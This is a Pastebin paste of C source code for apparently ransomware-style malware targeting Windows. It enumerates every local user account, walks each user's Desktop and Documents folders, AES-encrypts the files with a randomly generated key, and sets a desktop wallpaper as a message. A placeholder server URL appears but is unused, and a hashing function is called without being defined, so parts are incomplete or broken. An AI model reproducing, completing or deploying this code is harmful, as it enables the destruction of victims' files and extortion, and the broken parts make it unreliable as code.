Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <openssl/aes.h>
- #include <openssl/rand.h>
- #include <openssl/rsa.h>
- #include <openssl/pem.h>
- #include <openssl/err.h>
- #include <curl/curl.h>
- #include <Windows.h>
- #include <lm.h>
- #include <wchar.h>
- #define CHUNK_SIZE 1024
- #define AES_KEY_SIZE 256
- unsigned char* generate_aes_key() {
- unsigned char* key = malloc(AES_KEY_SIZE / 8);
- if (RAND_bytes(key, AES_KEY_SIZE / 8) != 1) {
- return NULL;
- }
- return key;
- }
- void display_message_on_desktop(char* message) {
- SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "path_to_your_image.jpg", SPIF_UPDATEINIFILE);
- }
- int encrypt_aes(AES_KEY *aes_key, unsigned char* data, int data_len, unsigned char* encrypted_data) {
- int padding = AES_BLOCK_SIZE - data_len % AES_BLOCK_SIZE;
- int i;
- for (i = data_len; i < data_len + padding; i++) {
- data[i] = padding;
- }
- int num_chunks = (data_len + padding) / AES_BLOCK_SIZE;
- for (i = 0; i < num_chunks; i++) {
- AES_ecb_encrypt(data + AES_BLOCK_SIZE * i, encrypted_data + AES_BLOCK_SIZE * i, aes_key, AES_ENCRYPT);
- }
- return num_chunks * AES_BLOCK_SIZE;
- }
- void aes_encrypt_file(char* filename, unsigned char* key, char* outputFilename) {
- FILE *file, *encryptedFile;
- AES_KEY aes_key;
- unsigned char chunk[CHUNK_SIZE];
- unsigned char encrypted_chunk[CHUNK_SIZE + AES_BLOCK_SIZE];
- int bytes_read, bytes_encrypted;
- if (!(file = fopen(filename, "rb"))) {
- fprintf(stderr, "Unable to open file %s\n", filename);
- return;
- }
- if (!(encryptedFile = fopen(outputFilename, "wb"))) {
- fprintf(stderr, "Unable to open file %s\n", outputFilename);
- fclose(file);
- return;
- }
- AES_set_encrypt_key(key, AES_KEY_SIZE, &aes_key);
- while ((bytes_read = fread(chunk, 1, CHUNK_SIZE, file))) {
- bytes_encrypted = encrypt_aes(&aes_key, chunk, bytes_read, encrypted_chunk);
- fwrite(encrypted_chunk, 1, bytes_encrypted, encryptedFile);
- }
- fclose(encryptedFile);
- fclose(file);
- }
- void process_directory(const char* directory_path, unsigned char* aes_key, char* url, char* response) {
- WIN32_FIND_DATA find_data;
- HANDLE hFind;
- char path[MAX_PATH];
- strncpy(path, directory_path, sizeof(path));
- strncat(path, "\\*", sizeof(path) - strlen(path) - 1);
- hFind = FindFirstFile(path, &find_data);
- if (hFind == INVALID_HANDLE_VALUE) {
- printf("FindFirstFile failed (%d)\n", GetLastError());
- return;
- }
- do {
- if (!(find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
- char full_filepath[MAX_PATH];
- strncpy(full_filepath, directory_path, sizeof(full_filepath));
- strncat(full_filepath, "\\", sizeof(full_filepath) - strlen(full_filepath) - 1);
- strncat(full_filepath, find_data.cFileName, sizeof(full_filepath) - strlen(full_filepath) - 1);
- char* encryptedFilename = strcat(full_filepath, ".enc");
- aes_encrypt_file(full_filepath, aes_key, encryptedFilename);
- unsigned char* hash = compute_sha256(encryptedFilename);
- }
- } while (FindNextFile(hFind, &find_data) != 0);
- FindClose(hFind);
- }
- void process_all_users(unsigned char* aes_key, char* url, char* response) {
- LPUSER_INFO_0 pBuf = NULL;
- DWORD dwEntriesRead = 0;
- DWORD dwTotalEntries = 0;
- DWORD resume = 0;
- NET_API_STATUS nStatus;
- do {
- nStatus = NetUserEnum(NULL, 0, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &resume);
- if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) {
- if ((pBuf != NULL) && (dwEntriesRead > 0)) {
- for (DWORD i = 0; i < dwEntriesRead; i++) {
- if (pBuf[i].usri0_name != NULL) {
- char desktopPath[MAX_PATH];
- char documentsPath[MAX_PATH];
- snprintf(desktopPath, sizeof(desktopPath), "C:\\Users\\%S\\Desktop", pBuf[i].usri0_name);
- snprintf(documentsPath, sizeof(documentsPath), "C:\\Users\\%S\\Documents", pBuf[i].usri0_name);
- process_directory(desktopPath, aes_key, url, response);
- process_directory(documentsPath, aes_key, url, response);
- }
- }
- }
- }
- if (pBuf != NULL) {
- NetApiBufferFree(pBuf);
- pBuf = NULL;
- }
- } while (nStatus == ERROR_MORE_DATA);
- }
- int main(int argc, char** argv) {
- unsigned char* aes_key = generate_aes_key();
- char* url = "https://yourserver.com";
- char* response = malloc(CHUNK_SIZE);
- process_all_users(aes_key, url, response);
- display_message_on_desktop("File transfer completed successfully.");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment